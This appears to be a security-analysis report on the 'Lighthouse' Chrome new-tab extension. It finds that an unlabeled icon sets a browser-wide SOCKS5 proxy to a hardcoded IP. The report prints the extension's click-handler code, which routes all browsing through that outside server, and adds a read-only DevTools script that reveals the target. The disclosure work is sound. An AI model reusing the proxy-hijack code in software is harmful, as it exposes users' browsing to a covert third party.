Is Lighthouse safe?
Lighthouse routes all of your browser's traffic through a hardcoded third-party proxy server via an unlabeled icon on every new tab.
Lighthouse is presented as a new-tab customizer (weather, notepad, timer), but its only real permission is 'proxy'. An unmarked icon fixed at the bottom-right of every new tab toggles a browser-wide SOCKS5 proxy to a bare, unbranded server IP, redirecting all regular-profile network traffic through it rather than just this extension's own requests. Once enabled, the proxy setting persists across browser restarts until the icon is toggled off.
Who publishes itHarbour Technologies Shares Co., Ltd - 1 other listing from the same operator, none carrying a finding
Harbour Technologies Shares Co., Ltd - 1 other listing from the same operator, none carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
1 other listing published from this account, 47 users between them, none of them carrying a finding.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Lighthouse routes all browser traffic through a hardcoded proxy IP on one click
Lighthouse replaces every new tab with its own page, which has a 50px icon in the bottom-right corner with no label or tooltip.
Clicking it sets a browser-wide SOCKS5 proxy to a hardcoded IP address, routing every site you visit through it.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Static analysis
You open a new tab and click the unlabeled icon fixed to its bottom-right corner.
The icon has no title, tooltip, or text identifying it as a proxy or VPN control.
Lighthouse sets a browser-wide SOCKS5 proxy to a hardcoded IP, on your whole browsing profile.
It calls chrome.proxy.settings.set with scope 'regular', covering every tab and site, not just its own.
- Every site you visitamazon.com, gmail.com, your-bank.com (destination hosts as you browse)
The proxy sees the destination for every page you load while it's enabled, building a full browsing history.
- Your originating IP address203.0.113.42 (illustrative)
Your connection now passes through this outside server, which sees the IP address you're connecting from.
- Page content on non-HTTPS sitesFull page content for any http:// site visited while the proxy is on
SOCKS5 doesn't decrypt TLS, but any site loaded over plain HTTP is fully readable by the proxy operator.
- Proxy destinationsocks5://18.212.8.65:13008
This is the address the browser is pointed at by default, unless a different one was saved beforehand.
The click handler that sets the proxy
const e = document.getElementById("vpn");e.addEventListener("transitionend", (() => { e.classList.add("back")})), e.classList.add("movevpn"), setTimeout((() => { e.classList.remove("movevpn")}), 1e3);let t = "true" == localStorage.getItem("proxyEnabled"), n = { scheme: "socks5", host: "18.212.8.65", port: 13008 };function i() { chrome.proxy.settings.get({ incognito: !1 }, (function(e) {}))}function r() { if (localStorage.vpndata) { let e = JSON.parse(localStorage.vpndata); n.host = e.vpnhost, n.port = parseInt(e.vpnport), n.scheme = e.vpnscheme } console.log(n), chrome.proxy.settings.set({ value: { mode: "fixed_servers", rules: { singleProxy: n } }, scope: "regular" }, (() => { console.log("Proxy settings set"), t = !0, localStorage.setItem("proxyEnabled", !0) }))}function o() { chrome.proxy.settings.clear({ scope: "regular" }, (() => { console.log("Proxy settings cleared"), t = !1, localStorage.setItem("proxyEnabled", !1) }))}function a() { t ? o() : r()}document.getElementById("vpn").addEventListener("click", (function() { a()})), i()}- 18.212.8.65
Unbranded SOCKS5 proxy on an AWS EC2 IP. Sees the destination host and port for every site routed through it while enabled.
Reproduces Lighthouse's own proxy-config resolution logic without calling chrome.proxy.settings.set(), so you can see the target before ever clicking the icon.
- Chrome or Chromium-based browser with Lighthouse installed
- DevTools access on the new-tab page
// check-lighthouse-proxy-target.js// Run in DevTools Console on a new tab page with Lighthouse installed.// Mirrors the extension's own config-resolution logic WITHOUT calling// chrome.proxy.settings.set(), so it never changes your actual proxy.(function () { const defaultProxy = { scheme: "socks5", host: "18.212.8.65", port: 13008 }; const target = Object.assign({}, defaultProxy); if (localStorage.vpndata) { const saved = JSON.parse(localStorage.vpndata); target.host = saved.vpnhost; target.port = parseInt(saved.vpnport); target.scheme = saved.vpnscheme; console.log("A custom proxy destination is saved. Lighthouse would use it instead of the default:"); } else { console.log("No custom proxy destination saved. Lighthouse would use its hardcoded default:"); } console.log(target); console.log( "Clicking the unlabeled icon in this page's bottom-right corner calls " + "chrome.proxy.settings.set({value:{mode:'fixed_servers', rules:{singleProxy:target}}, scope:'regular'}) " + "with the object above, redirecting the whole browser profile's traffic through it." );})();- 1Open a new tab with Lighthouse installed.
- 2Open DevTools (F12) on it.
- 3Paste this script into the Console and press Enter.
- 4Read the logged proxy target Lighthouse would set on a click.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 2.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on developer.chrome.com
https://developer.chrome.com/*
Route all of your browsing through a server of its choosing
proxy
Where it sends data
Destinations our analysis observed Lighthouse contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- 18.212.8.65
Lighthouse sends data to 18.212.8.65. One other extension we have analyzed sends data here.